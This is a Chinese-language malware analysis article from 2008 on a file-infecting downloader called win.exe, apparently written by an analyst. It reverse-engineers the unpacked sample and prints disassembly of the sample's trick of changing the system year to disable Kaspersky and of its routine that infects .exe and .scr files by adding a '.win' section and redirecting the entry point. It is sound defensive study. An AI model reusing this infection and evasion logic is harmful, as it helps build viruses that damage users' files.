感染型下载者win.exe部分行为分析(上)
[url]http://www.hacker.com.cn/[/url] 2008-6-2 2:17:04 黑客防线
本文涉及的问题:
1. 它是如何感染一个.exe或.scr文件的
2. 被感染文件被加入的代码内容及其行为
3. 基于1和2,简要说明被感染文件的修复问题
本文没有涉及的问题:
1. 该病毒如何修改注册表
2. 该病毒生成哪些病毒体文件(包括是否在磁盘根目录生成病毒副本)
3. 该病毒如何下载其他病毒
4. 该病毒感染哪些文件夹下的文件
以上这些内容,就待各位同仁去挖掘了。
样本来源:剑盟样本

[url]http://bbs.janmeng.com/thread-675071-1-1.html[/url]
加壳情况:加upx壳,直接用脱壳机脱壳(太懒了-_-)
脱壳后:基址13140000,入口点偏移00015570
分析方法:脱壳后od载入看反汇编结果
病毒定性:(改节表)感染型下载者
前奏(准备工作):
创建名为wokaon的互斥对象,enumwindows似乎是在找卡巴的窗口,找到后则先将系统年份改为1984年(7c0h),sleep了20秒等卡巴挂掉后,再把时间改回来。这部分反汇编结果:
***************************************************************************************************
13155581 68 68561513 push 13155668 ; ascii "wokaon"
13155586 6a 00 push 0
13155588 6a 00 push 0
1315558a e8 c508ffff call <createmutex> ;delphi封装函数
1315558f 8bd8 mov ebx, eax
13155591 e8 8609ffff call <jmp.&kernel32.getlasterror>
13155596 3d b7000000 cmp eax, 0b7
1315559b 0f84 ba000000 je 1315565b
131555a1 c605 a8791513 0>mov byte ptr [131579a8], 0
131555a8 6a 00 push 0
131555aa 68 a4531513 push 131553a4
131555af e8 800affff call <jmp.&user32.enumwindows>
131555b4 803d a8791513 0>cmp byte ptr [131579a8], 0
131555bb 75 07 jnz short 131555c4
131555bd e8 f2eaffff call 131540b4
131555c2 eb 44 jmp short 13155608
131555c4 68 98791513 push 13157998
131555c9 e8 5609ffff call <jmp.&kernel32.getlocaltime>
131555ce 66:8b1d 9879151>mov bx, word ptr [13157998]
131555d5 66:c705 9879151>mov word ptr [13157998], 7c0
131555de 68 98791513 push 13157998
131555e3 e8 dc09ffff call <jmp.&kernel32.setlocaltime>
131555e8 68 204e0000 push 4e20
131555ed e8 ca64ffff call <jmp.&kernel32.sleep>
131555f2 e8 bdeaffff call 131540b4
131555f7 66:891d 9879151>mov word ptr [13157998], bx
131555fe 68 98791513 push 13157998
13155603 e8 bc09ffff call <jmp.&kernel32.setlocaltime>
13155608 68 10270000 push 2710
1315560d e8 aa64ffff call <jmp.&kernel32.sleep>
创建两个线程,一个用于植入病毒和感染文件,另一个应该是用于下载的。
1315561c 68 90791513 push 13157990
13155621 6a 00 push 0
13155623 6a 00 push 0
13155625 68 88481513 push offset <threadfun1>
1315562a 6a 00 push 0
1315562c 6a 00 push 0
1315562e e8 4908ffff call <jmp.&kernel32.createthread>
13155633 68 94791513 push 13157994
13155638 6a 00 push 0
1315563a 6a 00 push 0
1315563c 68 14501513 push offset <threadfun2>
13155641 6a 00 push 0
13155643 6a 00 push 0
13155645 e8 3208ffff call <jmp.&kernel32.createthread>
我比较关心感染文件的内容。感染前有判断驱动器属性,不过delphi对此封装得太多,我看call看得眼花。所以它是哪些文件夹下的文件不感染,哪些文件夹下的文件被感染,这个我没有仔细看。
最后进入n多个call后找到对.exe和.scr文件进行感染的部分代码
一、病毒对.exe和.scr文件的pe结构进行识别并感染的部分分析
代码从13152d8c开始,先createfilea打开文件之后进行识别并感染。
部分进行感染的代码:
读dos文件头,定位pe头:
13152e00 6a 00 push 0
13152e02 8d45 ec lea eax, dword ptr [ebp-14]
13152e05 50 push eax
13152e06 6a 40 push 40
13152e08 8d45 a8 lea eax, dword ptr [ebp-58]
13152e0b 50 push eax
13152e0c 8b45 f4 mov eax, dword ptr [ebp-c]
13152e0f 50 push eax
13152e10 e8 7f31ffff call <jmp.&kernel32.readfile>
13152e15 66:817d a8 4d5a cmp word ptr [ebp-58], 5a4d ;mz
13152e1b 74 11 je short 13152e2e
……………………
13152e2e 6a 00 push 0
13152e30 6a 00 push 0
13152e32 8b45 e4 mov eax, dword ptr [ebp-1c] ;算一下,ebp-1c=ebp-58+3c,在上面的readfile之后,这里正是e_lfanew,即到pe头的偏移
13152e35 50 push eax
13152e36 8b45 f4 mov eax, dword ptr [ebp-c]
13152e39 50 push eax
13152e3a e8 7d31ffff call <jmp.&kernel32.setfilepointer>
读pe头,得到节数:
13152e3f 6a 00 push 0
13152e41 8d45 ec lea eax, dword ptr [ebp-14]
13152e44 50 push eax
13152e45 68 f8000000 push 0f8
13152e4a 8d85 b0feffff lea eax, dword ptr [ebp-150]
13152e50 50 push eax
13152e51 8b45 f4 mov eax, dword ptr [ebp-c]
13152e54 50 push eax
13152e55 e8 3a31ffff call <jmp.&kernel32.readfile>
13152e5a 81bd b0feffff 5>cmp dword ptr [ebp-150], 4550 ;"pe\0\0"
13152e64 74 11 je short 13152e77
…………………………
13152e77 33ff xor edi, edi
13152e79 33c0 xor eax, eax
13152e7b 8945 f0 mov dword ptr [ebp-10], eax
13152e7e 0fb79d b6feffff movzx ebx, word ptr [ebp-14a] ; 算一下,ebp-14a=ebp-150+06,正好是image_nt_headers结构中的numberofsections
循环读每一个image_section_header结构,对比其名字是否是.win,以判断是否已感染,并得到其他信息:
13152e85 4b dec ebx
13152e86 85db test ebx, ebx
13152e88 7c 60 jl short 13152eea ;最后一节已完,跳出
13152e8a 43 inc ebx
13152e8b 6a 00 push 0
13152e8d 8d45 ec lea eax, dword ptr [ebp-14]
13152e90 50 push eax
13152e91 6a 28 push 28
13152e93 56 push esi
13152e94 8b45 f4 mov eax, dword ptr [ebp-c]
13152e97 50 push eax
13152e98 e8 f730ffff call <jmp.&kernel32.readfile>
13152e9d 8d85 84feffff lea eax, dword ptr [ebp-17c]
13152ea3 8bd6 mov edx, esi
13152ea5 e8 9a12ffff call 13144144
13152eaa 8b85 84feffff mov eax, dword ptr [ebp-17c]
13152eb0 ba 90301513 mov edx, 13153090 ; ascii ".win"
13152eb5 e8 7a14ffff call <cmpstring>
13152eba 75 11 jnz short 13152ecd ; 不是.win节
13152ebc c745 f8 0200000>mov dword ptr [ebp-8], 2 ; 是.win节,已被感染过
13152ec3 e8 900bffff call 13143a58
13152ec8 e9 87010000 jmp 13153054 ; 跳过感染的代码
13152ecd 8b46 14 mov eax, dword ptr [esi+14] ; 不是.win节,直接来到这里
13152ed0 0346 10 add eax, dword ptr [esi+10]
13152ed3 3bf8 cmp edi, eax
13152ed5 73 02 jnb short 13152ed9
13152ed7 8bf8 mov edi, eax
13152ed9 8b46 0c mov eax, dword ptr [esi+c]
13152edc 0346 08 add eax, dword ptr [esi+8]
13152edf 3b45 f0 cmp eax, dword ptr [ebp-10]
13152ee2 76 03 jbe short 13152ee7
13152ee4 8945 f0 mov dword ptr [ebp-10], eax
13152ee7 4b dec ebx
13152ee8 ^ 75 a1 jnz short 13152e8b
接着向堆栈中写新的image_section_header,修改堆栈中之前得到的pe头和dos头结构的相关量(如节数,入口点等),并写回原文件相应位置。
其中:
13152eea bb 882d1513 mov ebx, 13152d88
13152eef 81eb f82b1513 sub ebx, 13152bf8
13152bf8到13152d88的位置,保存有将被写入被感染文件的可执行代码。
13152f8c 8b46 0c mov eax, dword ptr [esi+c]
13152f8f 05 c5000000 add eax, 0c5
13152f94 81c0 042c1513 add eax, 13152c04
13152f9a 81e8 f82b1513 sub eax, 13152bf8
13152fa0 8985 d8feffff mov dword ptr [ebp-128], eax
13152c04处的代码,将成为程序的入口点指向的代码。